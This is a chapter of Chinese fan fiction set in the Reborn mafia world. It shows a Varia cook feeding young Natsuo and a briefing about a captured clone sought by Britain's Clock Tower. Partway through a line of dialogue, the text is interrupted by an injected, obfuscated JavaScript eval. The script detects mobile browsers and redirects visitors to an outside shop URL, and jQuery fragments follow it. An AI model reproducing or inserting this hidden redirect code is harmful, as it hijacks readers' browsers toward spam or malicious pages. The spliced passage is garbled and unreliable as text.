十月，雨水开始频繁光顾意大利的巴勒莫。
雨雾朦朦之中，一排黑色汽车驶入机场，一路长驱直入，停在了机场更深处的一条跑道前。
戴着手套的保镖拉开车门，在维斯康提下车时，另一名保镖及时将撑开的伞遮住他的头顶。
维斯康提看了眼天空。
细密的小雨飘飘扬扬，随着温和的风吹在人身上，带着几分湿润的惬意。
他举手挥开了保镖的伞，抬步向前走去。
脚下铺着一条红色的地毯，连接着停在前方的飞机舷梯。这时机舱的门打开了，很快有人影从中出来。
这些人同样穿着统一的西装。但与维斯康提身边的随行者相比，略显厚重的面料和更硬朗的裁剪线条，犹如穿着一身柔软的盔甲。
不过他们当然不是值得维斯康提亲自迎接的主角，只是先一步出舱做安全检查的特工。彭格列九世云守的目光落在出现在他们之后的那个身影，注视着他一步步走下舷梯。
这是名中等个头的男子，约莫三十来岁，椭圆脸，深棕色的中分短发，颜色比他那身有点皱巴巴的西服更深一些。他相貌端正但普通，深蓝色的眼睛带着点忧郁气质，但当他快要走下舷梯对上维斯康提的目光时，即使只是礼貌的笑容，都让他整张脸顿时变得亲切而温暖。
他同样摆手拒绝了身后特工为他撑伞的举动，对着维斯康提道：
“我以为离开伦敦外面都是晴天。”
“巴勒莫不是撒哈拉，相信我，就算是雨季，十月份的意大利仍然会让你感到舒适。”
“是的，我想，”男子张开手，低头看了一下自己的西装，“我穿得有点太多了，不是吗？”
说完他笑着主动伸出手，问候道：“埃里克·布莱尔，你可以叫我埃里克。”
“维斯康提。”维斯康提握住了他的手。
埃里克对于他只以姓氏介绍自己不以为意，因为他知道在意大利，有些人本身就是其姓氏的象征。就像彭格列家族的首领每一代都自称彭格列，维斯康提亦然。
“我很早就听说过你，彭格列的云之守护者。”除此以外，也代表着一个商业帝国。
“我的荣幸，”维斯康提并没有说久仰大名，虽然对方的另一个名字在他这里同样属于“很早就听说过”，他礼貌地点点头，“欢迎来到意大利。不过我想比起我们对贵客的款待，或许阁下更想先去见见‘他’。”
“是的，虽然有点失礼，但我正是为此而来。只要我确认了，女爵会亲自过来。”来自伦敦的埃里克脸色严肃了两分。
“那么，”维斯康提挑眉，半转身伸手示意，“请上车吧。”
*
“呜……”
瓦利亚总部的厨房内，泽田夏生鼓着腮帮子，艰难地嚼着，五官扭成格外古怪的表情。他的手里还捏着一只咬了一口的饭团，露出里面混合着咖啡色奶油色的馅料。
“怎么样？”
在他面前，站在一个戴厨师帽的男人，厨师服下露出健壮有力的胳膊，深蓝的眼睛透着期待和忐忑，皱眉时两条眉毛连成了均匀的波浪线。
“皮耶罗大叔，”泽田夏生抬起头，迷惑地问，“怎么会是提拉米苏馅？”
“我只是希望能结合一下意大利的风味，将两国美食的精华糅合在一起……”
瓦利亚厨房的统治者，有着米其林星级认证的厨艺，并在首领苏醒后迅速掌握了首领对牛排的偏好口味，从而成功保住厨师长地位屹立不倒的传奇人物皮耶罗，此刻却露出了受打击的表情。
“真的很难吃吗？”
“我不知道用意大利语该怎么形容，”夏生皱着鼻子说，“反正，就是很奇怪嘛！”
“好吧，既然你都说很奇怪，那应该真的很奇怪。”皮耶罗叹了口气，随手从旁边拿来一个碟子，“作为你愿意试吃的补偿，一块真正的提拉米苏。”
夏生也不客气，他用叉子挖了一块，一口下去，眼睛像灯泡骤然通电一样发亮。
“好吃！太好吃啦！我从来没吃过这么好吃的提拉米苏！”随即他狐疑地问：“大叔，你不是说你不擅长甜品吗？”
这个不擅长其实是相对的，皮耶罗作为高级餐厅的主厨，做的甜品绝对不难吃，只是相对于他擅长的料理就显得平平无奇了。好在瓦利亚的众位守护者也没人对甜品有特别的偏好，只要求他做的牛排能满足首领的口味。
当然在夏生的理解里，“不擅长”就是做得“不好吃”。
“我有个朋友是很厉害的甜品师，这是昨天他来看我时带来的礼物。”皮耶罗朝他眨眨眼，“但这是最后一块了，千万别说出去哦。”
吃得嘴上都是奶油的夏生连连点头。
皮耶罗瞧着他的吃相，又打量了一眼他的小身板，疑惑地问：“你这最近胃口倒是挺大的，但吃这么多都没见你长胖，运动量很大吗？”
泽田夏生含糊地点头。在厨师长看不到的视野里，他的黑猫大肆肆坐在料理台上，发出了嘲笑的声音。
“自从你出走回来，只要看见吃的就来者不拒，要不是他们增加了对你的训练量，早就胖成球了。怎么，是饿怕了吗？”
夏生没理它，虽然它说得也不算错。
大概是那次失败的出走饿得太狠了，他现在看见食物就有种不吃会后悔的感觉。
除此以外的另一项后遗症，他有了随身带两张信用卡的习惯，一张是瓦利亚给他的卡，另一张则是迪诺给他的“零花钱”。
加百罗涅的首领真是大方，他为了多买一张漫展门票悄悄找上迪诺时，对方不仅爽快答应了他的要求，还给了他一张信用卡，豪爽地说：“随便花，不够额度了来找我。”
——某方面来说，虽然迪诺和Xanxus性格迥异，但他们的老父亲一定很有共同语言。
不过，厨师长猜得也没错。这一个多月来他每天都浑身酸痛，倒头就睡，别说看漫画了，连和他好不容易回来的手办说说话都顾不上。
“……玛蒙说我可以一个人去做任务赚钱了，但贝尔说我的飞刀命中率还是不行，让我多带几把，只要扎成刺猬怎么都能蒙对地方。哼，我知道他是嘲笑我，就把他的巧克力球都吃了。”
“哈哈哈哈这个我听说了哦，你因为吃了太多巧克力流鼻血，路斯利亚大人才特意吩咐我们一个月不准给你提供甜品。”
夏生撅了撅嘴，一点儿也不想自己的糗事被人尽皆知，迅速跳过：“但是！我现在不是只会逃跑啦！”
当他不知道他们笑话他是兔子吗？为此他奋发苦练，还开发了绝招！就是动作不够快，在训练课上总是被他的老师们先一步预测到攻击动作。最过分的就是Xanxus了！每次被他抓住脚踝，他总是像扔垃圾一样把自己往墙上甩！
泽田夏生又一次在墙壁上砸出人形坑时，就下定决心，总有一天要练出能把讨厌的Xanxus一脚扫进墙壁当浮雕的腿法！
“是吗，真棒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065302|192978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
！那等你什么时候独立完成任务回来，我给你做一顿特别的大餐。”皮耶罗笑着道。
“哇！太好了！我们说定了，你不要忘记咯！”吃完最后一小块提拉米苏，夏生放下叉子抹抹嘴，开开心心地向厨师长挥挥手，“我要回去上课啦，大叔再见！”
*
“女爵？”
首领书房内，站在沙发前正试图说服BOSS在文件签字上的斯库瓦罗，从玛蒙的口中听到了极为意外的名字。
Xanxus靠着沙发背，手里端着一杯威士忌，原本偏着头仿佛没听见的姿态，显然完全没有看文件打算。但是玛蒙透露的消息让他转过脸，微微抬着下巴，似乎来了兴趣。
“是的，阿加莎·克里斯蒂女爵，英国‘钟塔侍从’的近卫骑士长。”飘在他们前方的玛蒙，给予了更完整的回答。
其实他当时听到这个消息同样十分震惊。不过反正身上的兜帽能遮住他的半张脸，替他端住了冷静淡定的形象。
“说笑吗？那可是英国的超越者！”斯库瓦罗大为诧异，难以置信地问：“上次不是说刺杀九世的杀手可能是北美来的，怎么又跟英国扯上了关系，连‘钟塔侍从’都惊动了？”
数月前发生在加百罗涅庄园的刺杀，对于杀手的身份追查一度陷入停滞。后来玛蒙从北美里世界得到了一些线索，彭格列云守和门外顾问因此循着线索找到了一个以数字为名的组织。他们在突袭对方的据点后，击毙了数人，但被对方的头目脱逃了，只在现场找到一名处于昏迷状态的活口。
“刺杀九世的杀手，使用的异能力为‘八月之光’。但原本拥有这项异能的异能者，是美国的威廉·福克纳，官方记录上他在异能战争前就确认身亡。”
玛蒙解释着从彭格列庄园得来的最新情报：
“根据门外顾问的调查，刺杀九世的那名杀手很可能是福克纳的克隆体。而那个以数字为名的组织，似乎以前与某个被取缔的非法实验室有联系，组织内培养的不少杀手都是那个实验室幸存的克隆体。他们对克隆体有一些特殊的控制手段。”
“克隆体？”斯库瓦罗恍然。
对他们来说，这是一个并不新鲜但极为敏感的词语。这个世界从各国官方到私人团体，在依赖能力者、推崇能力者的同时，也从未中止过想要彻底控制和制造更多能力者的行径。差别不过是有的在规则中进行，有的则无所顾忌。
“这次抓到的活口是英国异能者的克隆体？”他猜测道。
“也不排除这种可能，但维斯康提说更可能是法国异能者的克隆体。不过‘钟塔侍从’的一名骑士不知怎么得到了这个情报，同九世提出了交易，声称那名活口与一桩重大案件有关，希望将他引渡英国。”
“也就是说，那位阿加莎女爵这一次会亲自过来，就是为了带走那个克隆体？”斯库瓦罗拧眉，“为什么？谁的克隆体值得一名超越者亲至？”
“情报不足，不知道。”玛蒙坦然回答，“抓到的克隆体生命体征平稳，但至今没醒来，原因不明。不过这次被派来巴勒莫的‘钟塔侍从’，也就是最先得到情报的那名骑士埃里克·布莱尔，曾向维斯康提透露过，这个活口的实验室编号是——Black 11-F。”
“埃里克·布莱尔？”Xanxus突然开口，“这是真名？”
“呃，确实是真名，但他的官方身份使用的是化名——乔治·奥威尔，据说是有超越者潜质的异能者，异能力名：动物庄园。”